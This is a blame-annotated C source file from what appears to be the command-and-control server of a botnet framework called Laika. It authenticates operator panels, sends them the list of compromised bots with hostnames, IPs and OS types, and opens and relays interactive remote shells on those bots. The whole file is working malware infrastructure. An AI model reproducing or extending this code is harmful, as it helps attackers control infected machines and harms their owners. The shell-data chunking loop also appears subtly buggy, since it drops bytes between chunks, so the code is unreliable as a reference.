2022-02-13 00:21:59 +00:00
|
|
|
#include "lerror.h"
|
2022-03-18 04:49:25 +00:00
|
|
|
#include "lmem.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cnc.h"
|
2022-05-08 01:09:42 +00:00
|
|
|
#include "cpeer.h"
|
2022-02-13 00:21:59 +00:00
|
|
|
#include "cpanel.h"
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
|
|
|
|
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* make sure we're not sending connection information to themselves */
|
|
|
|
if (peer != authPeer) {
|
|
|
|
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
|
|
|
|
laikaC_sendNewPeer(authPeer, peer);
|
2022-02-14 05:55:30 +00:00
|
|
|
}
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
return true;
|
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's info */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
2022-03-05 02:17:03 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-03-18 04:05:18 +00:00
|
|
|
laikaS_writeByte(&authPeer->sock, peer->osType);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
|
|
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-15 22:57:21 +00:00
|
|
|
/* write the peer's pubkey */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
|
|
|
|
laikaS_writeByte(&authPeer->sock, peer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaS_endOutPacket(authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
void laikaC_closeAuthShell(struct sLaika_peer *auth) {
|
|
|
|
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData;
|
2022-03-03 16:28:43 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
if (!aInfo->shellBot)
|
|
|
|
return;
|
2022-03-03 16:28:43 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
/* forward SHELL_CLOSE to bot */
|
|
|
|
laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
|
|
|
|
laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t));
|
|
|
|
laikaS_endOutPacket(aInfo->shellBot);
|
2022-03-03 16:28:43 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
/* rmv shell */
|
|
|
|
laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth);
|
|
|
|
aInfo->shellBot = NULL;
|
2022-03-03 16:28:43 +00:00
|
|
|
}
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* ============================================[[ Packet Handlers ]]============================================= */
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
2022-05-08 01:09:42 +00:00
|
|
|
PEERTYPE type;
|
|
|
|
int i;
|
2022-02-13 00:21:59 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
type = laikaS_readByte(&authPeer->sock);
|
|
|
|
switch (type) {
|
2022-02-28 22:27:55 +00:00
|
|
|
case PEER_AUTH:
|
2022-02-13 00:21:59 +00:00
|
|
|
/* check that peer's pubkey is authenticated */
|
2022-04-06 04:57:37 +00:00
|
|
|
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
2022-02-13 00:21:59 +00:00
|
|
|
LAIKA_ERROR("unauthorized panel!\n");
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* notify cnc */
|
|
|
|
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
|
|
|
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
|
|
|
|
/* they passed! send list of our peers */
|
2022-02-28 22:27:55 +00:00
|
|
|
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
|
2022-02-13 00:21:59 +00:00
|
|
|
break;
|
|
|
|
default:
|
2022-02-28 22:27:55 +00:00
|
|
|
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
2022-02-13 00:21:59 +00:00
|
|
|
}
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
|
|
|
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
|
|
|
struct sLaika_peer *peer;
|
2022-03-07 21:16:46 +00:00
|
|
|
uint16_t cols, rows;
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-02-28 22:39:02 +00:00
|
|
|
/* sanity check, make sure shell isn't already open */
|
|
|
|
if (aInfo->shellBot)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
/* read pubkey & find peer */
|
|
|
|
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
|
|
|
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
|
|
|
|
|
2022-02-28 22:39:02 +00:00
|
|
|
if (peer->type != PEER_BOT)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
|
|
|
|
|
2022-03-07 21:16:46 +00:00
|
|
|
/* read term size */
|
|
|
|
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
|
|
|
|
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
|
|
|
|
|
2022-02-28 22:39:02 +00:00
|
|
|
/* link shells */
|
2022-02-28 22:27:55 +00:00
|
|
|
aInfo->shellBot = peer;
|
2022-05-08 01:09:42 +00:00
|
|
|
aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer);
|
2022-02-28 22:27:55 +00:00
|
|
|
|
|
|
|
/* forward the request to open a shell */
|
2022-03-07 21:16:46 +00:00
|
|
|
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
|
2022-05-08 01:09:42 +00:00
|
|
|
laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t));
|
2022-03-07 21:16:46 +00:00
|
|
|
laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
|
|
|
|
laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
|
|
|
|
laikaS_endOutPacket(peer);
|
2022-02-28 22:27:55 +00:00
|
|
|
}
|
|
|
|
|
2022-03-02 16:38:16 +00:00
|
|
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
|
|
|
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
|
|
|
|
|
|
|
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
|
|
|
|
if (aInfo->shellBot == NULL)
|
|
|
|
return;
|
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
laikaC_closeAuthShell(authPeer);
|
2022-03-02 16:38:16 +00:00
|
|
|
}
|
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
/* improves readability */
|
|
|
|
#define SENDSHELLDATA(peer, data, size, id) \
|
|
|
|
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \
|
|
|
|
laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \
|
|
|
|
laikaS_write(&peer->sock, data, size); \
|
|
|
|
laikaS_endVarPacket(peer);
|
|
|
|
|
2022-02-28 22:27:55 +00:00
|
|
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
2022-02-28 22:39:02 +00:00
|
|
|
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
|
|
|
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
|
|
|
|
struct sLaika_cnc *cnc = aInfo->info.cnc;
|
|
|
|
struct sLaika_peer *peer;
|
|
|
|
|
|
|
|
/* sanity check, make sure shell is open */
|
|
|
|
if ((peer = aInfo->shellBot) == NULL)
|
2022-03-21 20:24:05 +00:00
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
|
2022-02-28 22:39:02 +00:00
|
|
|
|
|
|
|
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
|
|
|
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");
|
|
|
|
|
|
|
|
/* read data */
|
|
|
|
laikaS_read(&authPeer->sock, data, sz);
|
2022-02-28 22:27:55 +00:00
|
|
|
|
2022-05-08 01:09:42 +00:00
|
|
|
/* forward data to peer */
|
2022-03-18 04:49:25 +00:00
|
|
|
if (authPeer->osType == peer->osType) {
|
2022-05-08 01:09:42 +00:00
|
|
|
if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
|
|
|
|
/* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells,
|
|
|
|
while the auth/shell client only keeps track of 1)
|
|
|
|
*/
|
|
|
|
|
|
|
|
/* first part */
|
|
|
|
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID);
|
|
|
|
|
|
|
|
/* second part */
|
|
|
|
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID);
|
|
|
|
} else {
|
|
|
|
SENDSHELLDATA(peer, data, sz, &aInfo->shellID);
|
|
|
|
}
|
2022-03-18 04:49:25 +00:00
|
|
|
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
|
2022-05-08 01:09:42 +00:00
|
|
|
uint8_t *buf = laikaM_malloc(sz);
|
|
|
|
int i, count = 0, cap = sz;
|
2022-03-18 04:49:25 +00:00
|
|
|
|
|
|
|
/* convert line endings */
|
|
|
|
for (i = 0; i < sz; i++) {
|
|
|
|
laikaM_growarray(uint8_t, buf, 2, count, cap);
|
|
|
|
|
|
|
|
switch (data[i]) {
|
|
|
|
case '\n':
|
|
|
|
buf[count++] = '\r';
|
|
|
|
buf[count++] = '\n';
|
|
|
|
break;
|
|
|
|
default:
|
|
|
|
buf[count++] = data[i];
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
/* send buffer (99% of the time this isn't necessary, but the 1% can make
|
|
|
|
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
|
|
|
|
i = count;
|
2022-05-08 01:09:42 +00:00
|
|
|
while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
|
|
|
|
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID);
|
2022-03-18 04:49:25 +00:00
|
|
|
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
|
|
|
|
}
|
|
|
|
|
|
|
|
/* send the leftovers */
|
2022-05-08 01:09:42 +00:00
|
|
|
SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID);
|
2022-03-18 04:49:25 +00:00
|
|
|
laikaM_free(buf);
|
|
|
|
}
|
2022-05-08 01:09:42 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
#undef SENDSHELLDATA
|